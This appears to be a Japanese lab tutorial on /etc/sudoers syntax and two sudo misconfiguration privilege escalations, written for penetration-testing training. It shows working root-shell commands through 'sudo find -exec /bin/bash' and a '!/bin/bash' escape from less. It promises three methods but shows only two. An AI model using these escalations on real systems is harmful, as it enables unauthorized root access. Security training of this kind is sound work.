はじめに
この実験では、sudo 設定ファイルの構文について学び、sudo の脆弱性や設定ミスを通じて特権を昇格させる一般的な 3 つの方法を実践します。目的は、ペネトレーションテスト中に sudo を利用して特権を昇格させる方法をより深く理解することです。
sudo 設定ファイルの構文
このステップでは、sudo の特権を設定するために使用される /etc/sudoers ファイルの構文について学びます。
/etc/sudoers ファイルは、どのユーザーまたはグループが特権を持ってコマンドを実行できるかを指定するために使用されます。/etc/sudoers ファイルの内容を表示して保存するには、次のコマンドを実行します。
sudo cat /etc/sudoers | grep root > /home/labex/project/sudoers.txt
出力は次のようになります。
## This file MUST be edited with the 'visudo' command as root.
## This preserves proxy settings from user environments of root
## While you shouldn't normally run git as root, you need to with etckeeper
## Per-user preferences; root won't have sensible values for them.
root ALL=(ALL:ALL) ALL
## Members of the admin group may gain root privileges
この行は、root ユーザーがすべてのホストで任意のユーザーまたはグループとして任意のコマンドを実行できることを指定しています。
sudoers エントリの一般的な構文は次のとおりです。
user_or_group_name host_list=(run_as_user:run_as_group) command_list
user_or_group_name: ルールが適用されるユーザーまたはグループ。host_list: ルールが適用されるホスト。値ALLはすべてのホストを意味します。run_as_user: コマンドを実行するために使用される特権を持つユーザー。値ALLは任意のユーザーを意味します。run_as_group: コマンドを実行するために使用される特権を持つグループ。値ALLは任意のグループを意味します。command_list: ユーザーまたはグループが実行することが許可されているコマンド。
sudo による引数制限なしの権限昇格
このステップでは、任意のコマンドを特権付きで実行できるような sudo の設定ミスを利用して、特権を昇格させる方法を実践します。
まず、ターミナルを開き、
/home/labex/projectディレクトリに移動します。cd /home/labex/project次のコマンドを実行して環境を初期化します。
./env_setup_1.shこれで
user001ユーザーとしてログインしています。sudo -lコマンドを使用して、あなたの sudo 特権を確認します。sudo -l(root) NOPASSWD:/usr/bin/findこれは、パスワードなしで
root特権でfindコマンドを実行できることを意味します。特権を昇格させるには、次のコマンドを実行します。
sudo find /home -exec /bin/bash \;これで
rootシェルが開くはずです。/rootディレクトリにsuccess_1.txtという名前のファイルを作成して、root特権を持っていることを確認します。echo "success_1" | sudo tee /root/success_1.txt次のコマンドを実行してファイルを確認します。
cat /root/success_1.txt出力は
success_1であるはずです。
sudo による特定のコマンド引数での権限昇格
このステップでは、特定のコマンドを特権付きで実行できるような sudo の設定ミスを利用して、特権を昇格させる方法を実践します。
前のステップの後、あなたは依然として root ユーザーとしてログインしています。このステップを続けるには、現在のターミナルを閉じて新しいターミナルを開く必要があります。
まず、ターミナルを開き、
/home/labex/projectディレクトリに移動します。cd /home/labex/project次のコマンドを実行して環境を初期化します。
./env_setup_2.shsudo -lであなたの sudo 特権を確認します。sudo -l期待される出力:
(root) NOPASSWD: /bin/less /var/log/messagesこれは、パスワードなしで
root特権で/bin/less /var/log/messagesコマンドを実行できることを意味します。特権を昇格させるには、次のコマンドを実行します。
sudo less /var/log/messageslessページャー内で、次のコマンドを実行します。!/bin/bashこれで
rootシェルが開くはずです。/rootディレクトリにsuccess_2.txtという名前のファイルを作成して、root特権を持っていることを確認します。echo "success_2" | sudo tee /root/success_2.txt次のコマンドを実行してファイルを確認します。
cat /root/success_2.txt出力は
success_2であるはずです。
まとめ
この実験では、/etc/sudoers ファイルの構文と sudo 特権の設定方法について学びました。また、sudo の設定ミスや脆弱性を通じて特権を昇格させる一般的な 3 つの方法を実践しました。sudo を利用して特権を昇格させる方法を理解することで、Linux システムにおける潜在的なセキュリティリスクをより適切に評価し、軽減することができます。